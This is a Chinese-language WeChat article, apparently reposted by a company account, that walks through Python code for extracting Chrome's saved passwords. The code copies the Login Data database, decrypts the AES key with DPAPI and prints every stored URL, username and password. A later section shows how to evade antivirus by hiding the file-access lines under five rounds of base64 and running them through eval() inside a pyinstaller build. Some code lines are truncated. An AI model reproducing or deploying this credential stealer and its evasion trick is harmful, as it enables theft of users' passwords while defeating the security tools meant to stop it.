点
击
蓝
字
★
关
注
我
们
1、访问Login Data文件
通过查阅,可以知道用户使用chrome保存的密码存放在当前用户的AppDataLocalGoogleChromeUser Datadefault路径下的Login Data文件里。
将此文件复制出来,并作为数据库文件进行访问,读取里面的数据。Python代码如下:
login_db=os.environ['USERPROFILE']+os.sep+r'AppDataLocalGoogleChromeUserDatadefaultLoginData'
shutil.copy(login_db,"mm.db")
connect = sqlite3.connect("mm.db")
lianjie = connect.cursor()
2、遍历logins表里数据
通过for循环取出该表中的所有网站、用户名、密码。Python代码如下:
action_url, username_value, password_value FROM logins")
for r in lianjie.fetchall():
url = r[0]
username = r[1]
r[2] =
3、解密password
取出之后,由于密码是通过aes加密,所以需要获取到密钥,密钥存放在当前用户的AppDataLocalGoogleChromeUser Data路径下的Local State文件里。
通过读取该文件,将密钥取出。Python代码如下:
key_file=open(os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DataLocal State', "r",encoding='utf-8')
key = key_file.read()
key = json.loads(key)
key = base64.b64decode(key["os_crypt"]["encrypted_key"])
key = key[5:]
key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
然后取出加密的密码字段,与IV向量,然后通过aes进行解密出来。Python代码如下:
iv=enco_pass[3:15]
password_value=enco_pass[15:]
password_value=AES.new(key, AES.MODE_GCM, iv).decrypt(password_value)[:-16].decode()
4、输出结果
最后将url,username,password都进行输出,并且关闭上面读取数据库文件内容的连接,方便删除复制出来的数据库文件。Python代码如下:
print("url:"+url+"nusername:"+username+"npassword:"+password_value+"n"+"n")
lianjie.close()
connect.close()
os.system("del mm.db")
执行起来看看效果!
5、免杀处理
虽然可以正常的执行起来,但是通过pyinstaller打包成exe后容易被杀软杀掉。
通过多次测试,被杀的特征应该为访问了Login Data与Local State这两个特征,于是对访问这两个文件的代码做加密,顺便将读取数据库文件中内容的代码也进行加密。这里我使用的加密方式为,做5次base64的加密。
加密前的语句:
(1)os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DatadefaultLogin Data'
(2)lianjie.execute("SELECT action_url, username_value, password_value FROM logins")
(3)open(os.environ['USERPROFILE'] + os.sep + r'AppDataLocalGoogleChromeUser DataLocal State', "r",encoding='utf-8')
加密后的语句:
(1)b'YidZaWRaYVdSYVlWZFNjRlJVUVhoTlZtUnpXWHBHVG1KVldscFZNalZoWVZkS1NWUnVWbGRpUm5CUVZXMTRWMk14Um5OVWJGWk9VbTVDVEZaclZsZFdiVXB6WVVaU1VsZEZjRXRWYm5CelRteFNTRTVWT1dsU01EVkZWVlpvUzFOc1RrWmlTRlpXVm0xb1JGcEVSa3RUUmtweFVXeHdWMkp0YUU5WFYzQkxWREpHU0ZOclpHeFNWMmh3VkZkd2MyUldiSEphUm1SYVRWVldOVmxWYUhOaFZURnhVbTVPV0ZKV2NGaGFWM2gzVjFaT1dGcEdUbE5OUm13elZqRmFZVTVIUlhoalJtaFlZbGRvY2xacVRtNWtNV1JHVm1wU2EySkhPVFZaYTJoWFUyeEtWMU50T1dGU1YxSkhXVzFzYWxCVFl6MG4n'
(2)b’YidZaWRaYVdSYVlWZFNZVlJVUm1GT1ZtdzJVMVJXYkZaWWFEQldiWEJUV1ZaWmQwNUlhR0ZTVjFKWFdXcENjMk14VW5KWGJGWlRWbXh3UmxadGRFOVJNa1pIWVROd1ZtSnJTbkJVVjNCWFlsWndSMkZGZEdwTlNHaEZWVmR3UjJGck1YTlhhbFphWWxSR1NGcEZXbmRXTURsVlUyeHdWMDB5WkRSV01uaFBUVEZ2ZVZScmFGTmlia0p4VkZSS1UwMXNhM2xOVms1aFlsWktNRlZ0TlU5aE1WbDRWbTAxVm1KWWFFeFdWVnBUVmtaR2RWUnRiRTVpVmtvelYxY3dNVlJ0Umxaa1JrcFJWa1JDZFVwM1BUMG4n’
(3)b’YidZaWRaYVdSYVlWZFNjRlJVUWt0ak1XeDBZa2M1YTJKVk5ERlViR1EwWVZkS2MyTklaRnBOYWtFeFdrWmFhMDVXY0VkWGJGcE9VbXh3VlZac1ZtRlRNVlpIVTI1S2FWSlVSbFJXVkVwVFlURk9WbFJ1Y0dGTmEydzJWa1pvVjJGck1YTlhhazVVVmxVMU5sZHFTazlqUm5CR1UyMXdWRkpWY0VkV01WcHZWVEpHUjJGRldteFRSbkJoVkZkMFlXVnNaRVpXYlhScllsVnNOVmRyYUU5WlZscDFZVVZXV2xaWGFFeGFSekZMVjBaYWRGUnNaRmhTVkZaNlYxUktjMUV4U2xkaVJteFdZbGRvV2xWc2FHOU5iR1JWVTJ0a2FrMUhlRWhXUjNCRFYyeGtSMU51VGxSaWJYZDZWMnBDYzJSV1RsaGlSVEZUVFZadmVGWXhVa3BPVjBWNVVteG9UMVo2VmxKV1ZFcFNaVVp3UmxwR2NHdFNWR3hGVjFST1FtSnBZejBuJw’
将加密好的语句通过5次base64解密,然后使用eval()函数执行。5次解密的python代码如下:
def base64decode(encodetext):
for i in range(5):
encodetext = eval(encodetext)
encodetext = base64.b64decode(encodetext)
return encodetext
通过该方法,做过处理后,再次使用pyinstaller打包好,可正常执行,放到杀软中,免杀效果如下。
银天信息专注于软件研发、信息安全与智慧城市等领域的创新发展,是政府及企业数字化、智慧化建设的重要合作伙伴,银天信息立足”为社会服好务、为员工谋福祉”的社会责任,秉承“以技术为引领、以市场为导向、以用户为中心”的发展理念。
自1996年成立以来,银天信息以产业前瞻研究和行业深度理解为双引擎,基于云计算、大数据、物联网、5G等先进技术形成了贯穿政府、企业数字化转型生命周期的“全栈式”产品及解决方案,包括IT战略咨询、规划、设计、实施、运营与商业模式创新等,为用户输出同步国际的智慧城市建设体系,实现IT云化和数据价值激活,提升整体核心竞争力。目前,已经与政府、教育、能源、金融、电信、医疗等行业客户开展深入的合作。
编辑 | 蒋赟隆
设计 | 周晶晶
校对 | 田韵琦
原文始发于微信公众号(银天信息):python获取V80版本以后chrome保存的密码及免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论